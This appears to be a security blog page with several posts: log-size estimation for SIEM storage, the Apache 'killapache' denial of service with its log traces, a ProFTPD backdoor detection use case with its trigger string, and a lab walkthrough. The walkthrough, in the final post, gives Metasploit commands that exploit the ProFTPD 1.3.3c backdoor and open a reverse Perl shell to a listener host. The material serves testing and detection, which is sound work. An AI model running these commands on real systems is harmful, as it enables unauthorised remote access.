Why And Howto Calculate Your Events Log Size

Event Management, Log Management, ,

If you are projecting to start a Log or Event Management project, you will surely need to know your Normal Event log size (NE). These Normal Event log size (NE) value, combinated with the your Normal Events per second (NE) value and with your storage retention policy will help you to design in order to estimate your storage requirements.

Never forget that Log Management storage requirements are not the same for Event Management. Most of time Log Management storage requirements are higher than for Event Management. For example for Log Management, PCI-DSS v2.0 Req. 10.7 require 1 year retention :

10.7 Retain audit trail history for at least one year, with a minimum of three months immediately available for analysis (for example, online, archived, or restorable from back-up).

But in order to compensate PCI-DSS v2.0 Req. 10.6, you will maybe do Event Management with a SIEM (like ArcSight ESM, RSA enVision, QRadar SIEM, etc.).

10.6 Review logs for all system components at least daily. Log reviews must include those servers that perform security functions like intrusion-detection system (IDS) and authentication, authorization, and accounting protocol (AAA) servers (for
example, RADIUS). Note: Log harvesting, parsing, and alerting tools may be used to meet compliance with Requirement 10.6

You don’t need a SIEM to do Log Management, but you also don’t need to store 1 year of your logs on your SIEM solution. Long term retention, long term reporting, “raw” events forensics are mostly done on a Log Management infrastructure (like ArcSight Logger, QRadar Log Manager, Novell Sentinel Log Manager, etc.). Storage retention for your Event Management infrastructure will depend mostly on your correlation rules, your acknowledge time on a correlated event, the number of security analysts present in your SOC, etc.

Don’t imagine that a magic formula exist to define your events log size, some tools could help you, but you need to analyze your logs in order to have your Normal Event log size.  First of all you have to define your Log and/or Event Management scope, this scope could first be driven by regulations or compliances, but don’t forget that regulations or compliances are not Security. Also each technologies have different log sizes, an Apache HTTPD log will not have the same size than a SSHD log, and an Apache HTTPD log from server A will surely not have the same size than an Apache HTTPD log from server B.

xxx.xxx.xxx.xxx - - [25/Aug/2011:04:23:47 +0200] "GET /feed/ HTTP/1.1" 304 - "-" "Apple-PubSub/65.28"

This log from Apache HTTPD server A has a size of 102 bytes.

xxx.xxx.xxx.xxx - - [25/Aug/2011:04:15:08 +0200] "GET /wp-content/themes/mystique/css/style-green.css?ver=3.0.7 HTTP/1.1" 200 1326 "http://eromang.zataz.com/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729)"

This log from Apache HTTPD server B has a size of 274 bytes.

Also, depending the Log or Event Management infrastructure product, you need to consider event generated by intrinsically mechanism. For example, in order to search in your events most of products are creating indexes, these indexes are representing an average of twice the time of the size of the event. Also another intrinsically mechanism is that these products are also monitoring themselves, regularly executing tasks, do some statistics for dashboards or reports.

I have develop a bash script how will permit you to analyze all your archived logs and gather the following informations:

  • For each archived files, the total number of events, the total uncompressed size of the events, the Normal Event log size.
  • The total events for all archived files.
  • The total uncompressed size of all events in all archived files.
  • The grant total Normal Event log size.
  • The average event number per archived files.
  • The average bytes per archived file.

You can download this script by clicking on this link. A reminder, the provided Normal Events per second value, is not your real EPS rate, just check my previous blogpost regarding on “Why and howto calculate your Events Per Second“.

CVE-2011-3192 : Apache HTTPD Killer Remote Denial of Service

Exploits

Kingcope has release, the 19 August, on Full disclosure mailing-list a perl script named “killapache.pl” how can cause to Apache HTTPD Web server a remote denial of service (DoS). The DoS could be done by the attacker with a low requirement of ressources (CPU, memory and bandwidth) causing the targeted Web server to consume a big amount of ressources (CPU and memory). Apache HTTPD 2.0 and 2.2 series are affected by this vulnerability. This vulnerability in Apache HTTPD was previously discovered by Michal Zalewski in January 2007. Apache Foundation propose mitigation possibilities, until the release of a patch.

Execution of “killapache.pl” script on the attacker box.

Attacker box consumed ressources after “killapache.pl” execution.

Target server consumed ressources after “killapache.pl” execution.

In the target server Apache HTTPD logs, you can see these logs.

xxx.xxx.xxx.xxx - - [24/Aug/2011:17:19:37 +0200] "HEAD / HTTP/1.1" 206 345 "-" "-"
xxx.xxx.xxx.xxx - - [24/Aug/2011:17:19:37 +0200] "HEAD / HTTP/1.1" 206 354 "-" "-"
xxx.xxx.xxx.xxx - - [24/Aug/2011:17:19:37 +0200] "HEAD / HTTP/1.1" 206 354 "-" "-"
xxx.xxx.xxx.xxx - - [24/Aug/2011:17:19:37 +0200] "HEAD / HTTP/1.1" 206 354 "-" "-"
xxx.xxx.xxx.xxx - - [24/Aug/2011:17:19:37 +0200] "HEAD / HTTP/1.1" 206 354 "-" "-"
xxx.xxx.xxx.xxx - - [24/Aug/2011:17:19:37 +0200] "HEAD / HTTP/1.1" 206 354 "-" "-"

The script send HTTP HEAD method, but the DoS will also work with GET or POST requests.

SUC028 : ProFTPD Backdoor Inbound Backdoor Open Request (ACIDBITCHEZ)

Opportunists, Use Cases,
  • Use Case Reference : SUC028
  • Use Case Title : ProFTPD Backdoor Inbound Backdoor Open Request (ACIDBITCHEZ)
  • Use Case Detection : IDS / FTP logs
  • Attacker Class : Opportunists
  • Attack Sophistication : Unsophisticated
  • Identified tool(s) : Metasploit, Nessus, scripts, etc.
  • Source IP(s) : Random
  • Source Countries : Random
  • Source Port(s) : Random
  • Destination Port(s) : 21/TCP

Possible(s) correlation(s) :

  • Pen-testing tools or home made scripts

Source(s) :

  • ProFTPD Backdoor demo

Emerging Threats SIG 2011994 triggers are :

  • The FTP content should contain “HELP ACIDBITCHEZ“, how is the backdoor command.
  • The source port could be any FROM EXTERNAL_NET in destination of an HOME_NET port 21/TCP.
SIG 2011994 1 year events activity
SIG 2011994 1 year events activity

OSVDB-69562 : ProFTPD 1.3.3c Backdoor Command Execution

Exploits, Metasploit,

Timeline :

Public release of the backdoor presence the 2010-12-01
Metasploit PoC provided the 2010-12-02

PoC provided by :

MC
darkharper2

Reference(s) :

OSVDB-69562

Affected version(s) :

proftpd-1.3.3c from the dates of 2010-11-28 to 2010-12-02

Tested on Ubuntu 10.0.4 LTS with :

proftpd-1.3.3c patched with diff

Description :

This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010.

Commands :

use exploit/unix/ftp/proftpd_133c_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.178.21
exploit

id
uname -a
ifconfig